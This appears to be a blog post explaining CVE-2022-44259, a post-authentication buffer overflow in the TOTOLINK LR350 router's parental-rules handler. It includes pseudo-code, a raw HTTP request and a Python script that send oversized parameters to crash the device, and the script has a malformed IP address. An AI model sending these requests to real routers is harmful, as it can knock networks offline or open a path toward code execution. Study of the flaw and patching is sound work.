CVE-2022-44259 - Exploiting Post-Authentication Buffer Overflow in TOTOLINK LR350 (V9.3.5u.6369_B20220309)

TOTOLINK routers have a history of security issues, but CVE-2022-44259 is especially severe for anyone managing home or small business networks with the LR350 model. In this post, I’ll explain what this vulnerability is, walk you through the code behind it, show the exploitation method, and share resources so you can dig deeper. This post is written in simple American English and is exclusive for our readers.

What is CVE-2022-44259?

TOTOLINK LR350, firmware version V9.3.5u.6369_B20220309, has a buffer overflow vulnerability (_CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')_). This happens after authentication in the setParentalRules function when unsafe processing occurs with the parameters week, sTime, and eTime. If an authenticated attacker supplies overly long input values for these fields, they can overwrite memory and possibly execute malicious code.

Where's the Problem?

The root problem is that when the router’s web interface processes parental control rules, it does not verify the length of the user-supplied week, sTime, and eTime parameters. This opens the door for an attacker who has already logged in (or stolen credentials) to send specially crafted requests that overfill the buffer.

Here's a simplified pseudo-code version of what happens inside the firmware

void setParentalRules() {
    char week[16];
    char sTime[16];
    char eTime[16];
    
    strcpy(week, get_post_parameter("week"));   // Dangerous: no length check!
    strcpy(sTime, get_post_parameter("sTime")); // Also dangerous
    strcpy(eTime, get_post_parameter("eTime")); // Also dangerous
    
    // ... rest of the code ...
}

The strcpy function simply copies bytes until a null-byte is reached. If incoming data is bigger than the destination buffer, it will overwrite whatever comes next in memory.

Exploit Walkthrough

To exploit CVE-2022-44259, an attacker needs a valid login session to the web interface. They can then use tools like curl or Burp Suite to send a POST request with an oversized value in any of the week, sTime, or eTime parameters.

Example Exploit Request

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: [router_ip]
Cookie: SessionID=[your_valid_session]
Content-Type: application/x-www-form-urlencoded

topicurl=parental_rules&function=setParentalRules&week=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&ruleEn=1&sTime=12:00&eTime=14:00

If the application is using regular strcpy as in the code above, the string of 40+ “A” characters will overflow the 16-byte week array, overwriting adjacent memory. With further sophistication, this could be used to execute arbitrary code (e.g., drop a reverse shell, disable controls, or crash the device).

Simple Python Script

Here’s a Python example to automate this for red team research (for educational/ethical purposes only):

import requests

router_ip = "192.168..1"
session_cookie = "SessionID=YOUR_SESSION_ID"

url = f"http://{router_ip}/cgi-bin/cstecgi.cgi";
headers = {
    "Cookie": session_cookie,
    "Content-Type": "application/x-www-form-urlencoded"
}

# 100 "A"s for week, sTime, eTime -- adjust as needed for testing
payload = "topicurl=parental_rules&function=setParentalRules"
payload += "&week=" + "A"*100
payload += "&ruleEn=1"
payload += "&sTime=" + "B"*100
payload += "&eTime=" + "C"*100

resp = requests.post(url, headers=headers, data=payload)
print("Status code:", resp.status_code)
print("Response:", resp.text)

Mitigation

- Update Firmware: Always apply the latest firmware updates. Check TOTOLINK’s official Download Center.

References

- NVD Entry: CVE-2022-44259
- Original Advisory
- TOTOLINK Official Download Center
- Exploit-DB Entry (if available)

Conclusion

CVE-2022-44259 is a textbook buffer overflow in a consumer router. Although it’s post-authentication, it’s a real risk for poorly secured networks or where credentials are stolen or guessed. Understanding the code, the way to exploit, and the mitigation is critical for anyone deploying or managing these devices.

Stay safe — always patch, limit admin interface access, and keep up with security advisories!

By reading this guide, you now have a clear understanding of how this vulnerability works, how it’s exploited, and what steps you need to take to protect your network.

*If you have questions or need help securing your router, feel free to reach out or comment below!*

Timeline

Published on: 11/23/2022 16:15:00 UTC
Last modified on: 11/26/2022 03:44:00 UTC